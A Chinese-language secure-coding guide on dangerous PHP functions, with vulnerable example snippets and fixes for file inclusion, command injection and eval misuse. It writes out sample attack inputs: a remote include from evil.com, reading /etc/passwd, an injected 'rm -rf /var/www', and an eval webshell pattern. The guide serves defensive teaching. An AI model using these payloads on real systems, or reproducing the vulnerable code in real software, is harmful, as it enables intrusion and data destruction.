PHP 內建許多強大函數,若未嚴格過濾使用者輸入,極易成為攻擊入口。本文系統梳理高風險函數類別、典型漏洞案例與防禦原則,助你建立「不信任任何輸入」的安全思維。
| 類別 | 代表函數 | 核心風險 | 典型攻擊向量 |
|---|---|---|---|
| 檔案包含 | include, require, include_once, require_once, fopen | 遠端/本地檔案包含 (RFI/LFI) | ?page=https://evil.com/shell.txt、目錄遍歷 ../../etc/passwd |
| 檔案讀取/洩露 | fopen, file, readfile, file_get_contents | 任意檔案讀取、原始碼洩露 | ?file=config.php、?id=../.env |
| 檔案寫入/後門 | fwrite, file_put_contents, fputs | 寫入 Webshell、修改設定檔 | 上傳含 PHP 代碼的圖片、日誌注入 |
| 檔案刪除 | unlink | 任意檔案刪除、癱瘓服務 | ?delete=../../index.php |
| 代碼執行 | eval, preg_replace (搭配 /e 修飾符), assert, create_function | 任意代碼執行 (RCE) | eval($_POST['cmd'])、正則注入 |
| 命令執行 | system, exec, shell_exec, passthru, popen, proc_open | 伺服器級命令執行 | ?ip=127.0.0.1; cat /etc/passwd、管道符 |、反引號 |
<?php
// 危險:$page 未過濾直接包含
$page = $_GET['page'] ?? 'home';
include "$page.php"; // 攻擊者傳入 ?page=../../etc/passwd%00 或遠端 URL
修正:白名單機制 in_array($page, ['home','about','contact'])、basename()、realpath() 限制目錄、關閉 allow_url_fopen、設定 open_basedir。
<?php
// 危險:直接拼接使用者輸入
$dir = $_GET['dir'];
system("mkdir -p /var/www/uploads/$dir"); // 攻擊者傳入 ?dir=test; rm -rf /var/www
修正:escapeshellarg($dir)、escapeshellcmd()、盡量用 PHP 內建函數(mkdir()、rename())替代 Shell 命令。
<?php
// 危險:eval 執行不可信字串
$rule = $_GET['rule']; // 攻擊者傳入 "phpinfo();"
eval("\$result = $rule;"); // 直接執行
修正:嚴禁 eval() 處理使用者輸入;若需動態邏輯,用策略模式、匿名函數、或 sandbox(如 runkit、v8js)。
$_GET, $_POST, $_COOKIE, $_FILES, $_SERVER)在使用前必須驗證型別、長度、格式、範圍;檔案路徑、命令參數、SQL 識別碼皆採白名單。open_basedir 限制檔案存取範圍;disable_functions 禁用高危函數(exec,system,passthru,shell_exec,proc_open,popen,eval,assert 等)。file_put_contents 寫入 HTML/JS 檔案時同樣需編碼,防止二階注入。display_errors=Off、log_errors=On,避免堆疊追蹤洩露路徑結構。composer update,關注 CVE,移除棄用庫(如 PHPExcel → PhpSpreadsheet)。realpath() 規範化並檢查是否在允許目錄內escapeshellarg() 轉義eval()、create_function()、preg_replace('/e') 處理使用者輸入php.ini 已設定 disable_functions、open_basedir、allow_url_fopen=Off安全不是買來的產品,而是寫出來的習慣。將「不信任輸入」內化為肌肉記憶,才是防禦漏洞的根本之道。